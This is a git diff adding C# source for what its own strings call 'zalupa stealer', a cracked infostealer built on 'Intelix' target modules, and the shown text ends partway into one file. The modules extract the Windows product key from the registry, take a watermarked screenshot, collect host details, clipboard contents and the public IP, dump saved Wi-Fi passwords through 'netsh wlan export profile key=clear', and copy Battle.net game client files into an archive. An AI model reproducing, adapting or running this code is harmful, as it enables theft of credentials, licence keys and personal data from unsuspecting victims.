totalWidth2 = Math.Max("PID".Length, list.Max((ProcessWindows.ProcInfo p) => p.Pid?.Length ?? 0)); + int totalWidth3 = Math.Max("Path".Length, list.Max((ProcessWindows.ProcInfo p) => p.Path?.Length ?? 0)); + int totalWidth4 = Math.Max("Mem".Length, list.Max((ProcessWindows.ProcInfo p) => p.Memory?.Length ?? 0)); + string text = "Name".PadRight(totalWidth) + " | " + "PID".PadRight(totalWidth2) + " | " + "Path".PadRight(totalWidth3) + " | " + "Mem".PadRight(totalWidth4); + string value = new string('-', text.Length); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine(text); + stringBuilder.AppendLine(value); + int result; + foreach (ProcessWindows.ProcInfo item in from x in list + orderby x.Name ?? string.Empty, (!int.TryParse(x.Pid, out result)) ? int.MaxValue : result + select x) + { + stringBuilder.AppendLine((item.Name ?? "Unknown").PadRight(totalWidth) + " | " + (item.Pid ?? "Unknown").PadRight(totalWidth2) + " | " + (item.Path ?? "Unknown").PadRight(totalWidth3) + " | " + (item.Memory ?? "Unknown").PadRight(totalWidth4)); + } + zip.AddTextFile("ProcessList.txt", stringBuilder.ToString()); + } + catch + { + } + } +} diff --git a/Intelix.Targets.Device/ProductKey.cs b/Intelix.Targets.Device/ProductKey.cs new file mode 100644 index 0000000..6ba6670 --- /dev/null +++ b/Intelix.Targets.Device/ProductKey.cs @@ -0,0 +1,135 @@ +using System; +using System.Collections; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +public class ProductKey : ITarget +{ + private enum DigitalProductIdVersion + { + UpToWindows7, + Windows8AndUp + } + + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32); + object obj = registryKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")?.GetValue("DigitalProductId"); + if (obj != null) + { + byte[] digitalProductId = (byte[])obj; + registryKey.Close(); + bool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6; + string windowsProductKeyFromDigitalProductId = GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? DigitalProductIdVersion.Windows8AndUp : DigitalProductIdVersion.UpToWindows7); + if (!string.IsNullOrEmpty(windowsProductKeyFromDigitalProductId)) + { + string text = (IsWindowsActivatedFast() ? "Activated ✅" : "Not Activated ❌"); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("=== Windows Product Key Info ==="); + stringBuilder.AppendLine("Status : " + text); + stringBuilder.AppendLine("Key : " + windowsProductKeyFromDigitalProductId); + stringBuilder.AppendLine("================================"); + zip.AddTextFile("ProductKey.txt", stringBuilder.ToString()); + } + } + } + catch + { + } + } + + private string DecodeProductKeyWin8AndUp(byte[] digitalProductId) + { + string text = string.Empty; + byte b = (byte)((digitalProductId[66] / 6) & 1); + digitalProductId[66] = (byte)((digitalProductId[66] & 0xF7) | ((b & 2) * 4)); + int num = 0; + for (int num2 = 24; num2 >= 0; num2--) + { + int num3 = 0; + for (int num4 = 14; num4 >= 0; num4--) + { + num3 *= 256; + num3 = digitalProductId[num4 + 52] + num3; + digitalProductId[num4 + 52] = (byte)(num3 / 24); + num3 %= 24; + num = num3; + } + text = "BCDFGHJKMPQRTVWXY2346789"[num3] + text; + } + string text2 = text.Substring(1, num); + string text3 = text.Substring(num + 1, text.Length - (num + 1)); + text = text2 + "N" + text3; + for (int i = 5; i < text.Length; i += 6) + { + text = text.Insert(i, "-"); + } + return text; + } + + private string DecodeProductKey(byte[] digitalProductId) + { + char[] array = new char[24] + { + 'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P', + 'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4', + '6', '7', '8', '9' + }; + char[] array2 = new char[29]; + ArrayList arrayList = new ArrayList(); + for (int i = 52; i <= 67; i++) + { + arrayList.Add(digitalProductId[i]); + } + for (int num = 28; num >= 0; num--) + { + if ((num + 1) % 6 == 0) + { + array2[num] = '-'; + } + else + { + int num2 = 0; + for (int num3 = 14; num3 >= 0; num3--) + { + int num4 = (num2 << 8) | (byte)arrayList[num3]; + arrayList[num3] = (byte)(num4 / 24); + num2 = num4 % 24; + array2[num] = array[num2]; + } + } + } + return new string(array2); + } + + private string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, DigitalProductIdVersion digitalProductIdVersion) + { + if (digitalProductIdVersion != DigitalProductIdVersion.Windows8AndUp) + { + return DecodeProductKey(digitalProductId); + } + return DecodeProductKeyWin8AndUp(digitalProductId); + } + + public static bool IsWindowsActivatedFast() + { + try + { + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform"); + if (registryKey != null) + { + object value = registryKey.GetValue("BackupProductKeyDefault"); + return value != null && value.ToString().Length > 0; + } + } + catch + { + } + return false; + } +} diff --git a/Intelix.Targets.Device/ScreenShot.cs b/Intelix.Targets.Device/ScreenShot.cs new file mode 100644 index 0000000..f32173f --- /dev/null +++ b/Intelix.Targets.Device/ScreenShot.cs @@ -0,0 +1,177 @@ +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.Drawing.Text; +using System.IO; +using System.Windows.Forms; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class ScreenShot : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Rectangle bounds = Screen.PrimaryScreen.Bounds; + using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb); + using Graphics graphics = Graphics.FromImage(bitmap); + IntPtr hdc = graphics.GetHdc(); + IntPtr windowDC = NativeMethods.GetWindowDC(NativeMethods.GetDesktopWindow()); + NativeMethods.BitBlt(hdc, 0, 0, bounds.Width, bounds.Height, windowDC, 0, 0, 13369376); + graphics.ReleaseHdc(hdc); + NativeMethods.ReleaseDC(NativeMethods.GetDesktopWindow(), windowDC); + graphics.SmoothingMode = SmoothingMode.AntiAlias; + graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; + RectangleF rectangleF = new RectangleF(0f, 0f, bounds.Width, bounds.Height); + StringFormat format = new StringFormat + { + Alignment = StringAlignment.Center, + LineAlignment = StringAlignment.Center + }; + float num = Math.Max(24f, (float)bounds.Width / 40f); + using (Font font = new Font("Segoe UI Black", num, FontStyle.Bold, GraphicsUnit.Pixel)) + { + using GraphicsPath graphicsPath = new GraphicsPath(); + graphicsPath.AddString("https://t.me/neverliet_projects", font.FontFamily, (int)font.Style, font.Size, rectangleF, format); + int num2 = 10; + for (int num3 = num2; num3 >= 1; num3--) + { + int alpha = (int)(30.0 * (1.0 - (double)num3 / (double)num2)) + 8; + using Pen pen = new Pen(width: num / 18f * (float)num3, color: Color.FromArgb(alpha, 0, 0, 0)); + pen.LineJoin = LineJoin.Round; + graphics.DrawPath(pen, graphicsPath); + } + using (LinearGradientBrush linearGradientBrush = new LinearGradientBrush(rectangleF, Color.Black, Color.FromArgb(255, 30, 30, 30), LinearGradientMode.Horizontal)) + { + ColorBlend colorBlend = new ColorBlend(); + colorBlend.Colors = new Color[4] + { + Color.Black, + Color.FromArgb(255, 20, 20, 20), + Color.FromArgb(255, 10, 10, 10), + Color.Black + }; + colorBlend.Positions = new float[4] { 0f, 0.45f, 0.75f, 1f }; + linearGradientBrush.InterpolationColors = colorBlend; + using PathGradientBrush pathGradientBrush = new PathGradientBrush(graphicsPath); + pathGradientBrush.CenterColor = Color.FromArgb(220, 60, 60, 60); + pathGradientBrush.SurroundColors = new Color[1] { Color.FromArgb(0, 0, 0, 0) }; + pathGradientBrush.CenterPoint = new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.45f); + graphics.FillPath(linearGradientBrush, graphicsPath); + graphics.FillPath(pathGradientBrush, graphicsPath); + } + using (Pen pen2 = new Pen(Color.FromArgb(220, 80, 80, 80), Math.Max(2f, num / 28f))) + { + pen2.LineJoin = LineJoin.Round; + graphics.DrawPath(pen2, graphicsPath); + } + PointF[] array = new PointF[5] + { + new PointF(rectangleF.Width * 0.22f, rectangleF.Height * 0.38f), + new PointF(rectangleF.Width * 0.33f, rectangleF.Height * 0.52f), + new PointF(rectangleF.Width * 0.68f, rectangleF.Height * 0.4f), + new PointF(rectangleF.Width * 0.6f, rectangleF.Height * 0.6f), + new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.3f) + }; + for (int i = 0; i < array.Length; i++) + { + PointF pointF = array[i]; + float num4 = Math.Max(2f, num / 28f); + using (SolidBrush brush = new SolidBrush(Color.FromArgb(230, 255, 255, 255))) + { + graphics.FillEllipse(brush, pointF.X - num4 / 2f, pointF.Y - num4 / 2f, num4, num4); + } + using SolidBrush brush2 = new SolidBrush(Color.FromArgb(80, 0, 0, 0)); + graphics.FillEllipse(brush2, pointF.X - num4 * 2f, pointF.Y - num4 * 2f, num4 * 4f, num4 * 4f); + } + } + string fileName = Process.GetCurrentProcess().MainModule.FileName; + string[] array2 = new string[12] + { + "Machine: " + Environment.MachineName, + "User: " + Environment.UserName, + $"Time: {DateTimeOffset.Now:yyyy-MM-dd HH:mm:ss zzz}", + $".NET: {Environment.Version}", + "CPU: " + CpuInfo.GetName(), + $"CPU Cores: {CpuInfo.GetLogicalCores()}", + "OS Product: " + WindowsInfo.GetProductName(), + "OS Build: " + WindowsInfo.GetBuildNumber(), + "OS Arch: " + WindowsInfo.GetArchitecture(), + "Public ip: " + IpApi.GetPublicIp(), + "Build Name: " + Path.GetFileName(Path.GetDirectoryName(fileName)) + "\\" + Path.GetFileName(fileName), + "Code by @neverliet cracked by @UnAssembler" + }; + float num5 = Math.Max(12f, (float)bounds.Width / 120f); + using (Font font2 = new Font("Segoe UI", num5, FontStyle.Regular, GraphicsUnit.Pixel)) + { + float num6 = Math.Max(8f, num5 * 0.6f); + float num7 = 0f; + float num8 = 0f; + string[] array3 = array2; + foreach (string text in array3) + { + SizeF sizeF = graphics.MeasureString(text, font2); + if (sizeF.Width > num7) + { + num7 = sizeF.Width; + } + if (sizeF.Height > num8) + { + num8 = sizeF.Height; + } + } + float width = num7 + num6 * 2f; + float num9 = (float)array2.Length * num8 + num6 * 2f; + RectangleF rect = new RectangleF(12f, (float)bounds.Height - num9 - 12f, width, num9); + using (SolidBrush brush3 = new SolidBrush(Color.FromArgb(180, 6, 6, 10))) + { + using Pen pen3 = new Pen(Color.FromArgb(220, 60, 60, 80), 1f); + graphics.FillRectangle(brush3, rect); + graphics.DrawRectangle(pen3, rect.X, rect.Y, rect.Width, rect.Height); + } + float num10 = rect.X + num6; + float num11 = rect.Y + num6; + using SolidBrush brush4 = new SolidBrush(Color.FromArgb(160, 0, 0, 0)); + using SolidBrush brush5 = new SolidBrush(Color.FromArgb(240, 245, 250, 255)); + array3 = array2; + foreach (string s in array3) + { + graphics.DrawString(s, font2, brush4, new PointF(num10 + 1f, num11 + 1f)); + graphics.DrawString(s, font2, brush5, new PointF(num10, num11)); + num11 += num8; + } + } + using MemoryStream memoryStream = new MemoryStream(); + ImageCodecInfo imageCodecInfo = null; + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + for (int j = 0; j < imageEncoders.Length; j++) + { + if (string.Equals(imageEncoders[j].MimeType, "image/jpeg", StringComparison.OrdinalIgnoreCase)) + { + imageCodecInfo = imageEncoders[j]; + break; + } + } + if (imageCodecInfo != null) + { + Encoder quality = Encoder.Quality; + EncoderParameters encoderParameters = new EncoderParameters(1); + encoderParameters.Param[0] = new EncoderParameter(quality, 90L); + bitmap.Save(memoryStream, imageCodecInfo, encoderParameters); + } + else + { + bitmap.Save(memoryStream, ImageFormat.Jpeg); + } + byte[] array4 = memoryStream.ToArray(); + if (array4 != null && array4.Length != 0) + { + string entryPath = "screenshot.jpg"; + zip.AddFile(entryPath, array4); + } + } +} \ No newline at end of file diff --git a/Intelix.Targets.Device/SystemInfo.cs b/Intelix.Targets.Device/SystemInfo.cs new file mode 100644 index 0000000..c45ffd9 --- /dev/null +++ b/Intelix.Targets.Device/SystemInfo.cs @@ -0,0 +1,311 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net.NetworkInformation; +using System.Net.Sockets; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +internal class SystemInfo : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("zalupa stealer"); + stringBuilder.AppendLine(" Code by @neverliet cracked by @UnAssembler"); + Task task = Task.Run(() => BuildUserSection()); + Task task2 = Task.Run(() => BuildNetworkSection()); + Task task3 = Task.Run(() => BuildSystemSection()); + Task task4 = Task.Run(() => BuildDrivesSection()); + Task task5 = Task.Run(() => BuildGpuSection()); + Task task6 = Task.Run(() => BuildBasicSection()); + Task.WaitAll(task, task2, task3, task4, task5, task6); + StringBuilder stringBuilder2 = new StringBuilder(); + stringBuilder2.Append(stringBuilder); + stringBuilder2.AppendLine(task.Result).AppendLine(); + stringBuilder2.AppendLine(task2.Result).AppendLine(); + stringBuilder2.AppendLine(task3.Result).AppendLine(); + stringBuilder2.AppendLine(task4.Result).AppendLine(); + stringBuilder2.AppendLine(task5.Result).AppendLine(); + stringBuilder2.AppendLine(task6.Result); + zip.AddTextFile("Information.txt", stringBuilder2.ToString()); + } + catch + { + } + } + + private static string BuildUserSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[User Info]"); + try + { + stringBuilder.AppendLine("User: " + Environment.UserName); + stringBuilder.AppendLine("Machine: " + Environment.MachineName); + stringBuilder.AppendLine($"Now: {DateTime.Now:yyyy-MM-dd HH:mm:ss}"); + } + catch + { + stringBuilder.AppendLine("User/System fields unavailable"); + } + try + { + string text = InputLanguage.CurrentInputLanguage?.Culture?.TwoLetterISOLanguageName ?? "unknown"; + stringBuilder.AppendLine("Input ISO: " + text); + } + catch + { + stringBuilder.AppendLine("Input ISO: unknown"); + } + stringBuilder.AppendLine("Hwid: " + HwidGenerator.GetHwid()); + stringBuilder.AppendLine("Clipboard: " + GetClipboardTextNoTimeout()); + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildNetworkSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[Network]"); + stringBuilder.AppendLine("External IP: " + IpApi.GetPublicIp()); + string text = "unavailable"; + string text2 = "unavailable"; + try + { + NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); + foreach (NetworkInterface networkInterface in allNetworkInterfaces) + { + if (networkInterface.OperationalStatus != OperationalStatus.Up || networkInterface.NetworkInterfaceType == NetworkInterfaceType.Loopback) + { + continue; + } + IPInterfaceProperties iPProperties = networkInterface.GetIPProperties(); + foreach (UnicastIPAddressInformation unicastAddress in iPProperties.UnicastAddresses) + { + if (unicastAddress.Address.AddressFamily == AddressFamily.InterNetwork) + { + text = unicastAddress.Address.ToString(); + break; + } + } + foreach (GatewayIPAddressInformation gatewayAddress in iPProperties.GatewayAddresses) + { + if (gatewayAddress.Address != null && gatewayAddress.Address.AddressFamily == AddressFamily.InterNetwork) + { + text2 = gatewayAddress.Address.ToString(); + break; + } + } + if (text != "unavailable" && text2 != "unavailable") + { + break; + } + } + } + catch + { + } + stringBuilder.AppendLine("Internal IP: " + text); + stringBuilder.AppendLine("Default Gateway: " + text2); + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildSystemSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[System]"); + try + { + stringBuilder.AppendLine("OS Product: " + WindowsInfo.GetProductName()); + stringBuilder.AppendLine("OS Build: " + WindowsInfo.GetBuildNumber()); + stringBuilder.AppendLine("OS Arch: " + WindowsInfo.GetArchitecture()); + } + catch + { + stringBuilder.AppendLine("OS: unavailable"); + } + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); + string text = (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown"; + stringBuilder.AppendLine("CPU Name: " + text); + stringBuilder.AppendLine($"Logical Cores: {Environment.ProcessorCount}"); + } + catch + { + stringBuilder.AppendLine("CPU: unavailable"); + } + try + { + NativeMethods.MEMORYSTATUSEX lpBuffer = new NativeMethods.MEMORYSTATUSEX + { + dwLength = (uint)Marshal.SizeOf(typeof(NativeMethods.MEMORYSTATUSEX)) + }; + if (NativeMethods.GlobalMemoryStatusEx(ref lpBuffer)) + { + ulong num = lpBuffer.ullTotalPhys / 1024 / 1024; + ulong num2 = lpBuffer.ullAvailPhys / 1024 / 1024; + stringBuilder.AppendLine($"RAM Total (MB): {num}"); + stringBuilder.AppendLine($"RAM Available (MB): {num2}"); + } + else + { + stringBuilder.AppendLine("RAM: unavailable"); + } + } + catch + { + stringBuilder.AppendLine("RAM: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildDrivesSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[Drives]"); + try + { + List list = (from d in DriveInfo.GetDrives() + where d.IsReady + select d).Select(delegate(DriveInfo d) + { + long num = d.TotalSize / 1024 / 1024 / 1024; + long num2 = d.TotalFreeSpace / 1024 / 1024 / 1024; + return $"{d.Name.TrimEnd('\\')} {d.DriveType} FS:{d.DriveFormat} Size:{num}GB Free:{num2}GB"; + }).ToList(); + if (list.Any()) + { + foreach (string item in list) + { + stringBuilder.AppendLine(item); + } + } + else + { + stringBuilder.AppendLine("No ready drives"); + } + } + catch + { + stringBuilder.AppendLine("Drives: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildGpuSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[GPU]"); + try + { + List gpuNames = GetGpuNames(); + if (gpuNames.Any()) + { + foreach (string item in gpuNames) + { + stringBuilder.AppendLine(item); + } + } + else + { + stringBuilder.AppendLine("None"); + } + } + catch + { + stringBuilder.AppendLine("GPUs: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildBasicSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[Basic]"); + try + { + stringBuilder.AppendLine("User Domain: " + Environment.UserDomainName); + } + catch + { + stringBuilder.AppendLine("User Domain: unavailable"); + } + try + { + stringBuilder.AppendLine($"CLR Version: {Environment.Version}"); + } + catch + { + stringBuilder.AppendLine("CLR Version: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string GetClipboardTextNoTimeout() + { + string result = string.Empty; + try + { + Thread thread = new Thread((ThreadStart)delegate + { + try + { + if (Clipboard.ContainsText()) + { + result = Clipboard.GetText(); + } + } + catch + { + } + }); + thread.SetApartmentState(ApartmentState.STA); + thread.IsBackground = true; + thread.Start(); + thread.Join(); + } + catch + { + } + return result ?? string.Empty; + } + + private static List GetGpuNames() + { + List list = new List(); + try + { + uint num = 0u; + NativeMethods.DISPLAY_DEVICE lpDisplayDevice = default(NativeMethods.DISPLAY_DEVICE); + lpDisplayDevice.cb = Marshal.SizeOf(lpDisplayDevice); + while (NativeMethods.EnumDisplayDevices(null, num, ref lpDisplayDevice, 0u)) + { + if (!string.IsNullOrWhiteSpace(lpDisplayDevice.DeviceString)) + { + list.Add(lpDisplayDevice.DeviceString.Trim()); + } + num++; + lpDisplayDevice = new NativeMethods.DISPLAY_DEVICE + { + cb = Marshal.SizeOf(typeof(NativeMethods.DISPLAY_DEVICE)) + }; + } + } + catch + { + } + return list.Distinct().ToList(); + } +} diff --git a/Intelix.Targets.Device/WifiKey.cs b/Intelix.Targets.Device/WifiKey.cs new file mode 100644 index 0000000..41fa7f5 --- /dev/null +++ b/Intelix.Targets.Device/WifiKey.cs @@ -0,0 +1,262 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using System.Xml.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class WifiKey : ITarget +{ + private class WifiInfo + { + public string Profile; + + public string Key; + + public string Authentication; + + public string Cipher; + } + + public void Collect(InMemoryZip zip, Counter counter) + { + WifiInfo[] array = TryExportAndParseProfiles() ?? FallbackParseProfiles(); + if (array != null && array.Length != 0) + { + int num = Math.Max("Profile".Length, MaxLength(array, (WifiInfo r) => r.Profile)); + int num2 = Math.Max("Key".Length, MaxLength(array, (WifiInfo r) => r.Key)); + int num3 = Math.Max("Authentication".Length, MaxLength(array, (WifiInfo r) => r.Authentication)); + int num4 = Math.Max("Cipher".Length, MaxLength(array, (WifiInfo r) => r.Cipher)); + List list = new List(); + list.Add("Profile".PadRight(num) + " | " + "Key".PadRight(num2) + " | " + "Authentication".PadRight(num3) + " | " + "Cipher".PadRight(num4)); + list.Add(new string('-', num + num2 + num3 + num4 + 9)); + List list2 = list; + WifiInfo[] array2 = array; + foreach (WifiInfo wifiInfo in array2) + { + string text = (string.IsNullOrEmpty(wifiInfo.Profile) ? "N/A" : wifiInfo.Profile); + string text2 = (string.IsNullOrEmpty(wifiInfo.Key) ? "Not found" : wifiInfo.Key); + string text3 = (string.IsNullOrEmpty(wifiInfo.Authentication) ? "Not found" : wifiInfo.Authentication); + string text4 = (string.IsNullOrEmpty(wifiInfo.Cipher) ? "Not found" : wifiInfo.Cipher); + list2.Add(text.PadRight(num) + " | " + text2.PadRight(num2) + " | " + text3.PadRight(num3) + " | " + text4.PadRight(num4)); + } + zip.AddTextFile("WifiKeys.txt", string.Join("\n", list2)); + } + } + + private int MaxLength(WifiInfo[] arr, Func selector) + { + if (arr == null || arr.Length == 0) + { + return 0; + } + int num = 0; + for (int i = 0; i < arr.Length; i++) + { + string text = selector(arr[i]) ?? ""; + if (text.Length > num) + { + num = text.Length; + } + } + return num; + } + + private WifiInfo[] TryExportAndParseProfiles() + { + string text = Path.Combine(Path.GetTempPath(), "IntelixWifiExport_" + Guid.NewGuid().ToString("N")); + try + { + Directory.CreateDirectory(text); + } + catch + { + return null; + } + try + { + using (Process process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh", + Arguments = "wlan export profile key=clear folder=\"" + text + "\"", + UseShellExecute = false, + RedirectStandardOutput = false, + CreateNoWindow = true + } + }) + { + process.Start(); + process.WaitForExit(5000); + } + string[] array = Directory.EnumerateFiles(text, "*.xml").ToArray(); + if (array.Length == 0) + { + return null; + } + List list = new List(array.Length); + string[] array2 = array; + foreach (string text2 in array2) + { + try + { + XDocument xDocument = XDocument.Load(text2); + string text3 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "name", StringComparison.OrdinalIgnoreCase) && e.Parent != null && string.Equals(e.Parent.Name.LocalName, "SSID", StringComparison.OrdinalIgnoreCase))?.Value; + if (string.IsNullOrEmpty(text3)) + { + text3 = Path.GetFileNameWithoutExtension(text2); + } + string text4 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "keyMaterial", StringComparison.OrdinalIgnoreCase))?.Value; + string text5 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "authentication", StringComparison.OrdinalIgnoreCase))?.Value; + string text6 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "encryption", StringComparison.OrdinalIgnoreCase))?.Value; + list.Add(new WifiInfo + { + Profile = (text3 ?? "N/A"), + Key = (string.IsNullOrEmpty(text4) ? "Not found" : text4), + Authentication = (string.IsNullOrEmpty(text5) ? "Not found" : text5), + Cipher = (string.IsNullOrEmpty(text6) ? "Not found" : text6) + }); + } + catch + { + } + } + return list.ToArray(); + } + catch + { + return null; + } + finally + { + try + { + if (Directory.Exists(text)) + { + Directory.Delete(text, recursive: true); + } + } + catch + { + } + } + } + + private WifiInfo[] FallbackParseProfiles() + { + string[] profiles = Profiles(); + if (profiles == null || profiles.Length == 0) + { + return new WifiInfo[0]; + } + WifiInfo[] results = new WifiInfo[profiles.Length]; + Parallel.For(0, profiles.Length, delegate(int i) + { + string text = profiles[i]; + try + { + using Process process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh", + Arguments = "wlan show profile name=\"" + text + "\" key=clear", + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true, + StandardOutputEncoding = Encoding.UTF8 + } + }; + process.Start(); + string input = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + string match = GetMatch(input, "Key Content\\s*:\\s*(.+)"); + string match2 = GetMatch(input, "Authentication\\s*:\\s*(.+)"); + string match3 = GetMatch(input, "Cipher\\s*:\\s*(.+)"); + results[i] = new WifiInfo + { + Profile = text, + Key = (string.IsNullOrEmpty(match) ? "Not found" : match), + Authentication = (string.IsNullOrEmpty(match2) ? "Not found" : match2), + Cipher = (string.IsNullOrEmpty(match3) ? "Not found" : match3) + }; + } + catch + { + results[i] = new WifiInfo + { + Profile = text, + Key = "Error", + Authentication = "Error", + Cipher = "Error" + }; + } + }); + return results; + } + + private string[] Profiles() + { + string[] array2; + try + { + using Process process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh", + Arguments = "wlan show profiles", + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true, + StandardOutputEncoding = Encoding.UTF8 + } + }; + process.Start(); + string text = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + string[] array = text.Split(new char[2] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries); + List list = new List(); + array2 = array; + foreach (string text2 in array2) + { + int num = text2.LastIndexOf(':'); + if (num >= 0 && num + 1 < text2.Length) + { + string text3 = text2.Substring(num + 1).Trim(); + if (!string.IsNullOrEmpty(text3)) + { + list.Add(text3); + } + } + } + array2 = list.ToArray(); + } + catch + { + array2 = new string[0]; + } + return array2; + } + + private string GetMatch(string input, string pattern) + { + if (string.IsNullOrEmpty(input)) + { + return string.Empty; + } + Match match = Regex.Match(input, pattern, RegexOptions.IgnoreCase | RegexOptions.Multiline); + if (!match.Success) + { + return string.Empty; + } + return match.Groups[1].Value.Trim(); + } +} diff --git a/Intelix.Targets.Games/._BattleNet.cs b/Intelix.Targets.Games/._BattleNet.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Games/._BattleNet.cs differ diff --git a/Intelix.Targets.Games/._ElectronicArts.cs b/Intelix.Targets.Games/._ElectronicArts.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Games/._ElectronicArts.cs differ diff --git a/Intelix.Targets.Games/._Epic.cs b/Intelix.Targets.Games/._Epic.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Games/._Epic.cs differ diff --git a/Intelix.Targets.Games/._Roblox.cs b/Intelix.Targets.Games/._Roblox.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Games/._Roblox.cs differ diff --git a/Intelix.Targets.Games/._Steam.cs b/Intelix.Targets.Games/._Steam.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Games/._Steam.cs differ diff --git a/Intelix.Targets.Games/._XBox.cs b/Intelix.Targets.Games/._XBox.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Games/._XBox.cs differ diff --git a/Intelix.Targets.Games/BattleNet.cs b/Intelix.Targets.Games/BattleNet.cs new file mode 100644 index 0000000..9897678 --- /dev/null +++ b/Intelix.Targets.Games/BattleNet.cs @@ -0,0 +1,45 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class BattleNet : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Battle.net"); + if (!Directory.Exists(path)) + { + return; + } + string[] obj = new string[2] { "*.db", "*.config" }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "BattleNet" + }; + string[] array = obj; + foreach (string searchPattern in array) + { + string[] files = Directory.GetFiles(path, searchPattern, SearchOption.AllDirectories); + foreach (string fileName in files) + { + try + { + FileInfo fileInfo = new FileInfo(fileName); + string text = Path.Combine(Path.Combine("BattleNet", (fileInfo.Directory?.Name == "Battle.net") ? "" : fileInfo.Directory?.Name), fileInfo.Name); + zip.AddFile(text, File.ReadAllBytes(fileInfo.FullName)); + counterApplications.Files.Add(fileInfo.FullName + " => " + text); + } + catch + { + } + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("BattleNet\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Games/ElectronicArts.cs b/Intelix.Targets.Games/ElectronicArts.cs new file mode 100644 index 0000000..54e6432 --- /dev/null +++ b/Intelix.Targets.Games/ElectronicArts.cs @@ -0,0 +1,60 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class ElectronicArts : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Electronic 